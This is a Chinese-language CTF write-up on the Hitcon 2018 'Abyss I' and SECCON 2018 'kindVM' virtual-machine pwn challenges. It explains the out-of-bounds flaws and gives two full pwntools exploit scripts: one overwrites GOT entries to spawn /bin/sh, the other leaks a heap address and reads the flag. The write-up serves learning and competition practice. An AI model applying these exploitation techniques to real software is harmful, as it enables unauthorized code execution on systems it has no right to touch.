Hitcon CTF 2018 - Abyss I

Prelogue

一直来感觉Hitcon的题目挺好的于是通过Abyss来学习Pwn中的虚拟机相关知识. Abyss相关附件:attachment 其他附件:attachmen 本文主线为Abyss,穿插着学习VM的记录

challenge

解压后有9个文件其中主要部分是user.elf,hypervisor.elf,kernel.bin. kernel.bin: 一个小型内核. hypervisor.elf: 虚拟机监视器用来联通KVMuser.elf user.elf: 一个普通的的程序.

user.elf

比较简单的第一个flag基本的题目只要逆向完了会发现swap还有rot可能导致越界访问..然后就可以通过加加减减为所欲为了…我改了以下几个got域

  1. got_printfmain
  2. got_strlensystem
from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./user.elf')
pay="{}\x5c.\x5c@@.@{}:1:{}2:3:1;4292866203+0;3;85984+2;{}3;4294900624+2;.".format(0x100000000-3,"%"*9,"%"*6,"%"*10)
#gdb.attach(p,'''
#b *0x000555555555113
#b * 0x000555555554D94
#''')
p.sendlineafter("\n",pay)
pay="/bin/sh\x00"
p.sendlineafter("\n",pay)
p.interactive('n132>')

逆向起来没什么难度,如果漏洞在虚拟机层面的一般都是内存非法访问主要关注的对象是store,fetch之类操作有没有越界访问但是这题问题在swaprot,当栈指针在栈区域地步的时候swap会导致越界访问.

类似漏洞的一题SECCON 2018 kindVM我也放在文件夹中,问题出在类型错误导致越界访问,比较简单逆完了基本就可以做出来了我这里放上exp

from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./kindvm')
p.sendlineafter(": ","n132")

pay="\x01\x00\xff\xd8\x08\x00"
#load buf-0x28 & out reg[0]===> leak heap
pay+="\x07\x01\x08\x04\x87\x7b"
#set reg[0]=0x0804877b
pay+="\x02\xff\xe4\x01"
#store buf-0x28+0xc
pay+="\x06"
p.sendlineafter(": ",pay)
#do it again
p.readuntil("out] ")
heap=int("0x"+p.readuntil("(")[:-1],16)-0x28
log.warning(hex(heap))

p.sendlineafter(": ","./flag")
#gdb.attach(p,'b *0x80487C0')
off=0x10000-(heap+0x38-0x804b028)
context.endian   = 'big'
pay="\x07\x00{}".format(p32(heap+0x8a0))
#set reg[0]->reg[2]
pay+="\x02\xff\xdc\x00"
#set banner->reg[2]
pay+="\x06"
p.sendlineafter(": ",pay)
p.interactive('n132>')
#[1] load:	opcode(1) reg(1) offset(2)
#[2] store:	opcode(1) offset(2) reg(1)
#[3] move: 	opcode(1) reg(1) reg(1)
#[4] add:	opcode(1) reg(1) reg(1)
#[5] sub:	opcode(1) reg(1) reg(1)
#[6] halt:	opcode(1)
#[7] in:	opcode(1) num(4)
#[8] out:	opcode(1) reg(1)

..

待续.